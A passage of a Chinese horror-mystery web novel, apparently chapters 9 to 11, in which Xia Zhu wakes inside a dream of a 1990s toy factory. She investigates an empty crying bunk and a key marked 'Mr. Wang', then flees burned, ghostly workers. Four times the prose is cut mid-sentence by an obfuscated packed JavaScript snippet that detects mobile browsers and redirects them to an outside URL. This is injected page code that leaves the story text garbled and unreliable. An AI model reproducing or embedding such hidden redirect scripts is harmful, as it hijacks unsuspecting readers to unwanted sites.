因此虽然她无法确认传来哭声的斜对面上铺是否有人,但能看到和自己同样睡在下铺的另一张床上的人。 那人裹着被子背对着夏烛,露出一件看起来像是粉色的上衣,还有长发,没有被哭声惊醒,从规律起伏的身体看出应该处于熟睡之中。 那么这间屋子是女生宿舍,是学校吗?她在心里猜测。 头上的床铺传来一阵细微的声音,上铺的人似乎还醒着,又或者在睡梦中翻身,夏烛努力往外伸出头去,保持仰躺的姿势,发现上铺亮着微弱的光。 “又哭。” 她听到上铺的主人嘀咕了一声,声音很轻,话音刚落那缠绵的哭声即刻停止了。 借着上铺的微弱光亮,夏烛看到传来哭声的另一张床上平平整整,没有被褥也没有起伏,似乎只有一块干硬的床板。 这个视角她自然十分熟悉,因为在学校的宿舍里她也能从自己躺着的地方看到对面上铺空无一物的床板。 夏烛默默收回头,摆正自己的身体,房间的另一面似乎是窗户,微弱的月光从窗缝漏进一些诡异的蓝色。 在天亮之前,她决定就这么躺着,一切等太阳升起再说吧,如果这个梦里会有白天的话。 原本打算撑住不睡的,可是不知道为什么眼皮十分沉重,意识也一直处于飘忽状态,不知不觉中竟然就这样睡着了。 睡着之前,夏烛还在想自己会不会再做一个梦中之梦。 梦中梦的情况没有发生,这一觉她睡得格外香,是被两人的谈话声吵醒的。 耳边有连续的交谈声,夏烛猛地睁开眼睛,对自己就这样大大咧咧的睡着有些心有余悸。 “小夏!”一个脑袋忽然出现在她上方。 “今天怎么回事,平时就属你起得最早。” 是一个穿着蓝色棉布外套的女生,南方口音,看起来像是工作服装的外套里露出一截粉色的衣服,应该是睡在夏烛对面的那个女生。 夏烛扫到她胸前口袋的位置上方别着一块工牌,写着何雨娇,0353,组装302。 “现在就起。”她尽量让自己少说话。 “好哦,那我们先走啦。” 叫何雨娇的女生从窗户下的盆架上端走一个黄色的脸盆,里面哐哐当当,放了牙刷杯和毛巾,夏烛这才注意到自己床头旁边就是房间的大门,那里一直站着另一个穿蓝色工作服的女生,瘦高,脸色苍白,眼睛很大,眼下的青黑很重。 两人走后,她才从床上坐起,低头一看自己身上的衣服已经不是坐车时的那件,白色的棉布体恤衣角缀着一圈蕾丝,胸口的位置印着年代感很强的印花和亮片。看了一圈房间里的陈设,发现不光衣服,连家具和装修统统都是八九十年代的风格。 床上,枕头下各个地方摸了一圈,她也没有找到自己的手机,也许是为了符合时代设定,这次手机没有和她一起入梦。想起风枫说过的话,入梦的目标是找到梦主,也就是魉,杀掉它拿走天生相石就能出梦。 怎么找,怎么杀,都是问题。 拉开窗帘她站在窗前,隔着外部封死的铁栏往下看,院子里来来往往都是穿着蓝色工作服的人。 花上几分钟认清了自己得孤身奋战的事实。 房间不大,估计也就二十平左右,除了两张上下床外就是一排大概四人使用的桌子,四把椅子。夏烛突然想起来昨晚的哭声,她来到何雨娇的床前,上铺的位置果然空无一物,没有床单被褥。可是昨天晚上听到的哭声确实是从这个方向传来的,并且睡她上铺的那个面色苍白的女生也听到了,所以才说了一句“又哭”。 又?这个无人的床铺似乎经常传来哭声,但宿舍的其余几人早就见怪不怪,不仅不害怕甚至还会出口抱怨。这完全不符合常理。不过梦境不就是如此,真假难辨,迷幻离奇。 夏烛觉得这张无人床铺的主人,也许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662584|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是出梦的关键,而这个地方显然不是学校,何雨娇的名牌上写着组装302,也许是某个工厂。 书桌前的椅子上还搭着一套蓝色的工作服,她走过去拿起椅背上的衣服,翻到正面一看,工牌上写有名字的地方似乎被什么黄褐色的水渍晕开了,只能勉强分辨出一个“夏”字,后面写着0359,组装302 。 这应该就是她的工作服,还好,看起来是跟何雨娇同一个车间,方便进一步打探信息。 她坐到对应这把椅子的书桌前,注意到只有这张书桌的抽屉没有挂上锁。 书桌连同房间里斑驳的墙面都透露出一股陈旧甚至腐败的气息,夏烛吸吸鼻子,空气里自始至终都有一股说不出的甜味。 拉开抽屉,里面只有一些发圈发卡和崭新的洗漱用品,就好像专门为她准备的一样。 除此之外还有一个漂亮得显得格格不入的首饰盒子。夏烛拿出盒子,盒子底部写着“Made In Hong Kong”。 她无法得知现在的具体年代,但看样子也不算太近,按照房间内的各种物品大概预估了一下,也许是在九十年代左右。 这个首饰盒精致美丽,质感很好,对夏烛来说都能算得上贵重,虽然她也没见过什么太好的东西。 可是如此贵重的首饰盒打开后只有一把钥匙,从里面取出钥匙,钥匙扣上还挂着一个用水笔写着“Mr. Wang”的标签。她把钥匙揣进裤兜里,听到走廊上的人似乎越来越多脚步匆匆,还是先按照梦境世界的规则赶紧上工去吧。 换上蓝色工作服,端走架子上剩余的那个红色脸盆,还有窗台上唯一的牙杯,上面都贴有“夏”字样的标签,从柜子里重新拆出一把牙刷和牙膏,夏烛深吸一口推开了房间的大门。 门外面正对着有一条通向楼下的楼梯,走廊中来来往往很多穿着一样衣服的女生,她正在思考是往右还是往左走,隔壁的门就被拉开,一个同样抱着脸盆提着水壶的女生走了出来,夏烛立马跟在她身后,往走廊左边走去。 公共洗漱区排着长队,她抱着自己脸盆也跟着站在队伍里,洗漱房里堆满了人,有人直接蹲在地上刷起牙来,整个走廊充满了一股薄荷的味道,大概看了一眼,全都是差不多年纪,十几二十岁的年轻女孩。 “我妈又来信,让我回家种田去,我告诉她这个月就要领工资了,哪能这个时候回去,我上个月可是咱们车间的劳模!” 排在夏烛前面的是一个扎着辫子的女生,正跟站在一旁的同伴聊着闲天。 “我家里也让我回去,在这呆着确实也累,伙食不好,快热死了还不让领电扇。” 两个人凑在一起抱怨着。 “可是有钱拿啊,累一点又怎么样,还得给我弟寄钱回去,我妈说他明年准备娶媳妇儿了。” 夏烛注意到女生细腻的后颈上的毛茸茸碎发和甩到一边的辫子,实在忍不住迈上前去确认了一下女生的正脸。 好吧,果然不是风枫,她顶着女生疑惑的视线又退了回去。 看样子这个梦,确实只有自己进来了。 终于轮到夏烛,她把脸盆放进洗漱台上,扭开水龙头,接了一捧水浇到脸上,感觉有些怪怪的,再伸手一摸发现自己根本没戴眼镜竟然还能看得清楚,也许是梦里的原因,她想照照镜子,抬头却发现照理来说应该有镜子的墙面上光秃秃的,又转头看向身后的墙面,上半部分墙皮大片剥落,而墙根处爬满黄绿色的不明污渍。 整个房间都没有一面镜子。 总觉得有些奇怪。 身后有人催促,夏烛抓紧了速度。 9.第 9 章 收拾好后夏烛跟着人群下了楼来到工厂的院子里。 今天是个阴天,灰云低低地压在头上,整个工厂一共也只有三栋楼房,外皮斑驳褪色有些地方已经露出墙内的砖体。走出做员工宿舍的二层小楼,女工们都步伐匆匆,再不笑语晏晏谈天说地,宿舍外的天地仿佛会吸取一切艳丽色彩,连同女孩们灿烂的衣衫也全都掩盖在统一的灰蓝色工服之下。 夏烛感觉上有些难以呼吸,也许周围的基调都是沉闷的,灰扑扑的。 她朝四周望了望,除了员工宿舍楼,工人们这会儿都陆续涌进了一座三层的大楼,楼体方而宽阔,应该就是工作的车间所在,只是从外立面看,整个楼的窗户都被密实的防护网遮得透不过气,看得她更觉喉咙堵塞。 园区正大门的旁边,还有一栋小巧的二层小楼,显得冷清许多,也精致许多,墙体外还砌着瓷砖。 随着人群缓慢挪动进车间大楼,她发现整个工厂几乎都是女生,很少看见有男工的身影。人很多,大楼的入口却又夸张的窄小,一道铁栅栏门拉开,入口只许三四人并排通过,人流达到此处就形成了淤堵的趋势。 挤在其中,能听见身边此起彼伏的抱怨。 “好挤啊,前面能不能走快一点。” “真挤!在干嘛呢!” “热死了,快一点!” 夏烛觉得奇怪,挤在人堆中虽然有些透不过气,但天气阴凉不至于很热,可她发现一些人的脑门上都已冒出汗珠,大家推推搡搡似乎难以忍受这般闷热。 “好热。” “好热!” “热死了……” 刚通过大门踏上楼梯,抱怨声越来越大,夏烛只觉得氧气含量骤减,甚至感觉到了头晕目眩,人群跟着她的视角一起摇晃着。 恍惚间身边的一切安静了下来,楼道里的光线实在太暗,她居然有些看不清脚下的路了,好像视力回到了现实世界,失去眼镜的夏烛近乎失明,这种感觉让她有些害怕。 四周的无形空气好像凝结成了固体,黑压压地钻进她的咽喉气管,或者就像被看不见的密实泡沫层层包裹,就在快要晕倒之际,一只手拍在了她的肩膀上。 “小夏!你还挺快的嘛,居然在我们前面!” 是何雨娇。 夏烛回过神来,发现自己已经上了二楼,视力已经恢复,那种透不过气的感觉消弱了许多。何雨娇在一旁亲昵地挽着她的手臂,念叨着食堂的人挤来挤去,今早又没抢到肉包。 夏烛注意到她的头上别了一个特别精致的珍珠发夹。 然后想到自己抽屉里的首饰盒。 二楼也是车间,但她和何雨娇的工牌上写着302,看样子是在3楼。 由何雨娇挽着,也好过自己摸索从而露出马脚。 进入三楼的厂房,路过了喷涂上色的车间,味道刺鼻,空气浑浊,她听到有几个女孩咳嗽的声音。 流水线上排列整齐的半成品,看上去像是某种玩具娃娃。 看来这是一个玩具工厂。 何雨娇带着夏烛走进302的车间,车间里清一色的蓝衣女工,坐着或站着。 “坐呀小夏!咱们车间的劳模今天怎么总是发呆走神。”何雨娇已经在自己位置上坐好,夏烛犹豫了一下,坐在了她身边的凳子上。 好在何雨娇神色如常,并没有什么异样。 她们面前这条生产线上的玩具娃娃已经初步成型,颜色艳丽模样可爱,扎着两条小辫,是个小女孩的模样。 夏烛上手拿起一个,是棉布缝出来的,内里似乎塞有海绵,面前有一筐亮晶晶的缀着红色绸缎的粉色塑料蝴蝶结,还有一把热熔胶枪。 身边的何雨娇已经开始工作起来,她拿起胶枪,在玩具的头侧挤出一点胶,又迅速取来一只蝴蝶结,对准位置按了上去,用手指压压实然后将玩具放进脚边的成品筐篓里,立马又拿起下一只,动作熟练又麻利。 夏烛注意到娃娃的胸口上有一个小小的标签,标签上写着“Giocare”不像英文,倒像意大利语,高二的时候读过薄伽丘的《十日谈》虽然是译本,但大概知道意语的动词似乎多以“are”结尾。 这还是一个外资工厂,她不免又联想到口袋里的那把写着“王先生”的钥匙。 找个机会,得搞清楚这把钥匙到底是开哪个锁的。 学着旁边人的样子,夏烛连接上热熔胶枪的插线,也开始干起活来,一只两只,无限重复。 这栋楼只有三层,她们所在的车间位于顶层,厂房的层高要比普通住房高出许多,连同窗户所在的位置,也需要人踮起脚来才能触碰到窗沿。 不知道是为了防什么,这里所有窗户的外面都被防护网罩住,视觉上有些不透气,灰暗的天空漏出几线阳光再经由窗网的过筛可怜巴巴地投在机械般重复的操作台上,女孩们黏着胶丝的手指一下又一下轻轻拨动着稀薄的阳光。 组装车间比较安静,偶尔会有低声交谈的声音,不知道开工了多久,夏烛发现车里见出现了一个同样穿着工作服手臂上却带着袖章的男人。他在操作台之间来回巡走,偶尔用手里的木棍敲击未被迅速堆满成品的筐,再敲敲筐箩一旁的女工手臂。 “鸡爪都麻利点干啊。”夏烛听到男人这么说,皱起了眉头。 “你看,我这样像不像洋娃娃呀。”坐在她另一边的女生压低声音,趁着巡逻的男人不在,拿起一只塑料蝴蝶结比在自己的发上,对着身边的伙伴说。 “好啦,别臭美了,小心被抓到了扣你钱!” “哼,等我攒够了钱就去市里摆摊卖小商品!也比在这闷得出汗的厂里强。”女孩嘟囔着伸手捏住领口扇风。 “真热啊,还是我们乡下凉快,想回家了……”她边扇边说。 “快别说了,小心落后。” 女孩闭上了嘴。 夏烛干活麻利,她身边的筐篓快被堆满,可是就算这样勤劳得到一个劳模奖也无法离开梦境,她想着找个机会四处看看。 安静的车间里传来低低的歌声,趁着看守的人不在,女孩们短暂的恢复了青春活力。 “月落乌啼总是千年的风霜……” “涛声依旧不见当初的夜晚……” 不知道为什么,女孩的歌声让夏烛感到莫名的低沉,那声音飘飘扬扬却飞不出窗网密布的车间。 一上午时间过去,夏烛借着上厕所的由头离开过车间,可是厕所就在这一层的角落,经过楼梯口时发现就连这里也有带袖章的男人看守,夏烛觉得自己不像在打工,倒像在坐牢。她只好无功而返,继续坐在自己的位置上干活。 实在不知道从哪里开始分析探究,目前手里像是线索的东西,只有那只首饰盒和“王先生”的钥匙。想到这里,夏烛凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第二,何雨娇说她的珍珠发夹是周晓莉送的,从质地上来看这个发夹应该不便宜,选择来工厂打工的女生大概率不会有这样一个昂贵的发夹,那周晓莉又是从何得来。而且,如果发夹是周晓莉的,那这个发夹和夏烛抽屉里的首饰盒有没有关系,会是一套东西吗?首饰盒中带有“Mr. Wang”字样的钥匙与寝室众人又有什么联系呢? 第三,这个王先生是谁,钥匙能打开哪扇门或者哪道锁呢? 第四,为什么空气中总有奇怪的味道,夏烛觉得这股怪味不一般,一定是出梦的关键。 实在毫无头绪,基于以上线索她还是无法推断出谁是魉,谁是做这个梦的人。按照风枫的话来说,之所以存在这个梦是因为梦主人的执念或者欲望。 那所谓的执念和欲望到底是什么,难不成与周晓莉的死亡有关。 在梦中死去的人会是梦主吗?工厂有大几百号人,到底如何才能找到关键的那个。 正想着,有两个上楼的女生和她擦肩而过,夏烛听到她们说着什么“王经理……我就知道……关系不一般……” “王经理?”夏烛在一楼的铁栅栏门前停下,从这里能看到工厂正门旁边的瓷砖小楼,小楼一看就不是给工厂员工使用的,她伸手摸到兜里的那把钥匙。 也许这把钥匙能打开那栋楼里的某扇门。 10.第 10 章 夏烛发现一楼楼梯左侧有一道门半掩着,她从门缝往里一瞧,像是个仓库,一箱箱朝上摞起的货物堆满了整个仓库,一只老鼠从空地左侧飞驰往右。 “看什么看!”大门突然被推开,两个戴袖章的男人嘴里叼着香烟,含糊不清地吼着她。 夏烛挺起腰背抬起手臂做扩胸运动。 “没什么没什么,四处走走,锻炼身体。”她捶打着肩膀向院子里走去。 站在院子里,天阴沉地快要下雨,云层不堪重负地凝固在头顶上方不再流动,她转动脖子,挥着手臂,想象着自己如果长出翅膀飞起来一直朝着云层外面飞去的话,能不能就此离开这里。 夏烛边扭着腰踢着腿边朝大门旁边的瓷砖小楼缓缓挪动。 院子里偶尔有几个从食堂吃完饭出来的人。 瓷砖小楼的进门处居然没有大门挡着,夏烛走到离门口几米的距离偷偷往里张望,楼中光线昏暗,门口有一个保安室,从她的角度可以看到一个男人坐在保安室中吃着盒饭。 没有大门阻挡对她来说是件好事,可是保安室中的人就有些难办了。夏烛四周看了看,这个年代的普通工厂应该是还没有安装监控的,是人盯人那就有休息疲惫的时候,她不确定保安室是否有夜晚换班的说法,但还是打算今晚来这里瞧瞧。 还有些时间,夏烛想先回寝室看看还有没有什么可用的线索。 回到215寝室,人都还没有回来,书桌的抽屉除了自己的其余都打不开,只桌面上放着一个闹钟,时间指向12:15。 她围着房间走了一圈,空间实在太小,简直一览无余。 周晓莉的床铺上更是空无一物,她突然想起昨天夜里上铺传来的光,于是掀开自己的被褥,踩在床边上搜寻了一下上铺。 夏烛告诉自己这是在梦里,道德礼貌什么的就先不讲,现在的任务是出去。 上铺女生的生活习惯良好,起床之后将被子在床尾叠得整整齐齐,夏烛翻开枕头,枕头下有一把手电筒和一本书。 书皮上写着《梅花烙》,夏烛知道这在那个年代很是出名。 看来上铺每晚都躲在被子里打着手电筒看言情小说。 忽然觉得梦中的人都鲜活起来,喜欢精致的发夹,工作时候会哼着小曲儿,夜晚即使不睡觉顶着两个大黑眼圈也要在被子里为阴差阳错的爱情哭上一回。 这些人真实且生动,好像曾经存在过,夏烛似乎有点理解执念和欲望的意思。 那就是无论世异时移,所执所念的人事模样都将在我的脑海里深刻长存。 她将枕头摆好,刚回到自己的椅子上坐下,寝室的门就被推开,何雨娇说着话进来。 “听说咱俩上回请假去医院的那天中午,食堂吃了猪肝粉肠!啧啧,不知道下次是什么时候了,真倒霉。” 一起回来的还有夏烛上铺的女生。 “小夏,你吃饭没,身体还不舒服吗。“何雨娇见到夏烛便问道。 “谢谢好多了。” “那就行。”何雨娇说着脱掉蓝色工服外套躺进了自己床铺,她看了一眼时间,“躺会儿吧,还有十分钟又得上工。” 女工们的午休时间算上吃饭居然只有半个小时,实在有些苛刻。 上铺的黑眼圈女生走到一旁的椅子上坐下,她扫了一眼女生衣服工牌上的名字。 “小燕,”夏烛叫她,“晚上能不能借借你的手电筒,最近我老是起夜,厕所光线太暗了有点害怕。” 吴燕看了夏烛一眼。 “厕所不有个灯泡亮着吗。”说完她又想了想,“也是,那灯泡跟摆设一样,你拿去吧,我睡前就放在枕头旁边。不过你进出可小声点,我睡眠不好。” 夏烛在一旁使劲点着头。 一下午她都在工位上看似麻利认真地干活,实则脑子里好一番谋划,对于晚上的行动夏烛甚至有点期待。 一直到晚上七点,一天的工作才会结束,有的车间甚至会赶工加班到九十点。回到宿舍的女孩们都疲惫不堪,早早上床休息。 夏烛仰面躺在床上,何雨娇一回来就睡了,上铺的吴燕刚刚关掉了手电筒,夏烛听到她似乎翻了个身。 窗帘缝隙透不出一丝光线,外面已是更深人静,夏烛估计现在是凌晨两点左右,如果她一直在心里默算的时间大差不差的话。 仔细辨认着头顶床板上的木纹,夏烛数到120,悄悄从床上坐起身。为了方便她睡前没有换掉衣服,在黑暗中轻轻套上鞋子站起身,伸出手在上铺边缘摸索着,果然摸到一个手电筒。 她蹑手蹑脚,小心翼翼地挪到门前,一点点扭动门锁,高中四年虽然遗憾没有室友,没和其他人在一个房间相处生活过,但夏烛深知被人搅扰好梦肯定难受,所以尽量不发出一点声音。 门锁在黑暗里咔哒了一声,拉开寝室的门,黑漆漆的走廊中随之扑来一阵香味,她皱皱鼻子,又是中午那股味道。 夏烛一只脚刚踏进走廊,忽然觉得后颈一凉,身后没有光线的寝室传来了丝丝细微的,凄凉的哭声。 她慢慢转过头去,哭声从周晓莉的床上传来。黑暗中那里没有明显的起伏,看不出有何异样,可总觉得有些奇怪,收回视线,刚准备转身离开,半途中却突然停住了目光。 在离她头侧一臂距离的位置,一双黑亮的圆眼正一眨不眨地盯着夏烛。 吴燕没有睡着,她侧着身子一大半裹在被子里,只露出一双奇大的眼睛对着门口。 夏烛缓慢转过头去,装作没有看见,还好她总是面无表情。 回手关上寝室的门,走廊狭窄,光线昏暗,打开了手电筒,奈何只是普通家用,手电的光堪堪能照出脚下尺寸范围,左右打光去看,皆暗沉沉的似有浓雾,她凭着记忆朝着楼梯口走去。 每往下一个台阶,都感觉周围的空气越发厚重,走到拐角处时,夏烛额头已经沁出汗珠,每步都异常艰难,仿佛在做负重训练,背上背着一百多斤的沙袋一样,不敢细想,还好她一向比较迟钝,只埋着头一顿走,想象自己在回家的山路上,盯着自己的脚尖专心致志。 这样想着果然轻松很多,甚至想要哼上一曲。 还好一路无阻,没有碰见什么夜间巡逻的人,一楼的铁门没有完全关上,一拉就开了,夏烛终于站到了院子里。 她关掉手电,借着悬在半空浑圆月亮发出的冷光左右看了看,确定没有人,于是快步穿过院子,朝那栋瓷砖小楼走去。 保安室里传来微弱的光线,夏烛靠在门旁一侧,伴随着收音机里断断续续的评书声。她猜后半夜看守的人应该都在昏昏欲睡,等了一会儿里头除了收音机的“鲁肃设下宴席在江边战船之上……”此外再无其他声音。 她试着往里探出半个身子,瞥见窗户下的书桌上趴着一个人,看后背起伏呼吸绵长,像是早就睡着。不再多等,深吸一口气,直接进门,大剌剌走过保安室,走出理直气壮走出理所应当,期间她还目不转睛地盯着趴伏在桌面上的人,看见他身下似乎压着记录簿之类的东西,身边的台灯灯罩糊了一层厚灰。 这就是细节。 夏烛转进走廊。 这栋楼一共两层,通往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666580|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二层的楼梯就在进门正对处,她打算先探查一下一楼,待会儿上楼还得再次面对保安室。 一楼一共五个房间,夏烛不敢打开手电,只能凑近了分辨门上的标签。 文员间,总务科,人事档案室,卫生室,还有一个技术科。 试图拉开几扇门,发现都有上锁,门旁边的窗户也都黑洞洞的往里根本看不进去。 只好再去二楼。 今晚的目的是有效率地探清这栋小楼。 夏烛趴在走廊拐角,看见保安室的人连姿势都不曾换过,于是转身上楼,刚走几步,身后的门洞刮进一阵风来,哗啦啦吹响书页翻动,她瞬间冻结在原地,屏住呼吸,只听收音机里传来“关云长听得心中冷笑,忽地手起刀落,啪!案几当场劈为两段!刀锋直插木板之下,寸许不歪。” 歪过头去,发现保安室那人在响声中仍旧一动不动,甚至隐约有了打呼噜的趋势,她吐出一口气,加速上楼。 二楼和一楼差不多,只是走廊的尽头开了一扇窗,这会儿月光流了进来,视野比楼下清晰了一些,夏烛确定没人便开始一间间找起来,最后停在一扇门前。 门上挂着“经理办公室”的牌子。 她先趴在门边的窗户上往里查看,里面黑乎乎的不太看得清,只办公桌一角被月光打亮些许,夏烛努力辨认出桌上摆放着一块名牌。 写着王国斌。 她有些欣喜,兜里的钥匙说不定真能打开这扇门,四下再次确认,然后掏出钥匙插进门锁,可是无论夏烛顺向逆向转动,钥匙似乎都卡死在了锁眼里。 不应该啊,夏烛疑惑。 正准备抽出来重新试试,房内居然传出人声。 她吓了一跳就势矮下身体蹲了下去。 见房间里的人没有要出来的意思,便将耳朵贴在门上听了起来。 “唉——” 一声叹息,是个男人的声音。 “晓莉啊——”男人声音苦恼幽怨,口音吐字却有些奇怪。 “晓莉,晓莉。” 一声又一声。 夏烛想到周晓莉,想到何雨娇头上的珍珠发夹,她说那是周晓莉送她的,还有楼梯上擦肩而过的两人,说着谁与王经理关系不一般。 难道周晓莉的死与王经理有关,梦主说不定就是这个王国斌? 正思考着,门内一声声的“晓莉”突然停止。 下一秒却清晰地从她背后传来。 “晓莉。”一口气吹在夏烛耳边。 跟着她身体转动的还有她的拳头,还没看清背后之物的样貌,夏烛的拳头就已经揍在那东西身上。 软绵绵的。 她转身就跑。 跑过楼梯,跑过依然雷打不醒的看守,一口气跑到院子里。 那东西似乎没有跟来,夏烛恍惚间看到的应该是个面目狰狞的男人,但普通男人揍上去怎么可能软乎乎的像海绵一样,还能瞬间从屋内来到屋外。 夏烛平稳了呼吸,低头看向自己手心里的钥匙。 写着Mr. Wang但并不是王经理办公室的钥匙。 除了大概能够判断周晓莉与王经理有些关系外,没有多大的收获。 她朝着寝室那栋楼走去,眼风突然瞥到车间大楼黑乎乎的门洞。 那扇坚实的铁栅栏门前挂着一把大锁。 夏烛犹豫一下,还是走了过去,轻轻拿起拴住铁门的锁,沉甸甸的,分量不轻,然后将钥匙对准插了进去,微微转动一下,带着奇异的滑顺。 咔哒一声,锁扣弹出,门开了。 11.第 11 章 夏烛有些懵,看来这把钥匙是打开车间大楼的。 楼道里实在黑乎乎的一团,见不到底的黑暗总像有什么东西蛰伏其中,既让人胆战,又令人好奇,夏烛往身后看去,冷白色月光照着空荡荡的院子,她收回视线,决定去里面看看。 一脚刚刚迈过铁门,就明显感觉到周身的空气震荡了一下,好比一片落叶飘荡着贴住静水的表面,荡开一些涟漪,微不可查。 一股腥甜从楼道里涌来,黏黏糊糊罩在身上。 进门往右,是她白天路过的仓库,晚上处于无人看守的状态,却也不应该像现在这样直接大敞着颇有请君入瓮的架势。 夏烛决定先看看还没探查过的仓库,可是刚一进去她就觉得不对劲,今天早些时候虽然只是从门缝里张望了一眼,却也看到了仓库内堆积如山的货箱,可是现在仓库里连一只箱子也没有。 并且她还注意到,穿过高窗的月光在仓库中央的地面上照出一块四方的光区,光区之上整整齐齐地摆放着什么,从她这个角度看去,像是舞台中心投射的追光。 夏烛走进前去,追光下横十竖八,规整地排列了80个玩具娃娃。 两个小辫,红色格纹的裙子,头上别着缀有绸缎的粉色塑料蝴蝶结,和弧度整齐划一向上翘起的嘴角,嘴角上方两个圆圆的红晕。 都是工厂制造的娃娃。 不知道娃娃的数量是否有什么含义。 对于大多数人来说,梦是碎片化的拼接,有些画面其实就是处理过往记忆时候的闪回重现,可是产生了魉的梦里出现的任何东西都应该意有所指。 夏烛暂时不能理解这些玩具娃娃指向什么,她拿起地上的娃娃翻看了几个没有什么特别之处,只好放回原位再绕着仓库走了一圈,除了地上的玩具以外再无任何东西了。虽然白天都在车间工作,可是经由仓库发生了与之前完全两样的变化后,她还是决定再上楼看看。 还没走到大门处,背后有些异动,声音虽然轻微,但在死寂一般的夜晚却也容易察觉。她回头一看,发现原本齐齐躺在地上的玩具娃娃站起来了一个,在并不明亮的光线下面朝着她的方向微笑着。 夏烛只当做无事发生又往前走了两步回头再看时,从地上站起来的娃娃多了两个。不管小小的玩具能有怎样的杀伤力,莫名动起来还是一个不详征兆,她从走变跑快速冲向门口。背后的响动越来越大,不用回头也知道八十个娃娃应该全都站了起来,声音由远及近估计都冲她来了。 冲出仓库大门,跨上了台阶,背后的声音骤然停止,她转头看去,娃娃重重叠叠塞满门框,似乎无法再往前一步。八十张天真烂漫的笑脸齐齐转动纽扣缝纫的眼珠看向站在右侧楼梯上夏烛。 就像一场游戏一样,不管是王经理还是玩具娃娃都是npc,只能呆在特定的区域,玩家如果离开此处,它们只会在边缘徘徊一段时间又按照既定的路线返回原处。 还好它们不会追来,夏烛面无表情地转身上楼,好险,她想,否则就算只是娃娃全压过来憋也憋死了,那可太吓人了。 二楼与自己所在的车间除了设备以外并无什么区别,女工们也不会在工位上留下任何私人物品。她打着手电筒继续往上走,拐过两层楼之间的平台,正对着三楼走廊上的一扇窗户。 窗户上安装了防护网,网格上挂着什么飘带似的物体,正在夜风中荡着。 白天的时候夏烛几次路过这里,不记得这扇窗户上有过什么类似的东西。 她走到窗下,工厂的窗户似乎都是为了工人设防,建的很高,夏烛的下巴刚好和窗沿齐平。她举起手电筒照在还在迎风招展的飘带上。 尾部焦黑碳化粘黏在铁丝网上,头端丝丝血红,迎风飘荡的不是什么飘带,更像是肉条。 空气中那股腥甜香味配合着变得浓烈起来,她甚至幻听铁丝网正在滋滋作响。 “好热。” 叹息般的声音突然从左侧的走廊尽头飘来,夏烛记得那边原本空无一物。 “好热啊。”下一秒那声音清晰出现在她的左耳上方,手里的手电筒一晃,照亮一张近在眼前的人脸。 说是人脸只是形似,那张脸上表皮焦黑,皲裂成网格状的小块,让她想到烤红薯烧焦的外皮,牙床上的红肉没有嘴唇遮掩赤裸地暴露在空气中,夏烛与这张脸的距离近到它微微融化的鼻尖就快要戳在她的脸上了。 只是这个怪物仿佛静止了一般,没有任何进一步的动作,她将手电往下照去,发现它浑身都是焦黑,皮肉向外翻着,甚至胸腔处已经爆裂,一截看不出是哪部分脏器的东西软哒哒地吊在胸骨外面。夏烛觉得自己应该闻到腥臭,可是只有一股肉香萦绕在鼻尖。 这不是什么怪物,而是一个被烧焦的人。 “好热啊——” 右侧突然又传来一句,她猛地将手电筒的光划向声音的来源,门洞大开的车间里密密麻麻地站满了一群焦黑的人,“好热”“好热”的声音此起彼伏。 左边贴着夏烛的焦人失去的灯光的照射随即动了起来,碳化的拳头带着肉香的风从她耳边掠过,夏烛头皮一紧,光线重新照到它脸上,焦人又静止不动了。 看来它们畏惧光线。 “糟了。”她反应过来,在车间里的焦人冲出门前拔腿就跑。 幸好自己平时爱锻炼身体跑跑步,夏烛炮弹一般地冲下楼去,与焦人甩开一大段距离,她边跑边抽出时间感谢自己日常的付出。 不敢回头看,但她能感觉到焦人们的穷追不舍,只是一切事情都有因有果,即使在噩梦中也不会无头无脑只为了效果而制造恐怖氛围,这些烧焦的人为什么追她,可惜夏烛现在无暇去深思。 身后的焦人跑起来无章无法,或许因为它们四肢并不健全,边追着夏烛边互相推搡甚至踩踏起来,一具只剩半截的焦黑躯体越过她头顶上方的楼梯扶手摔到了她面前,夏烛一个侧身躲过倒在地上挣扎不起来的焦人,那扇铁栅栏门就在前面不远了。 一口气冲出车间大楼,顺手拉上了铁门,铁门上的锁打开之后没有大动,松松地挂在栅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684331|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 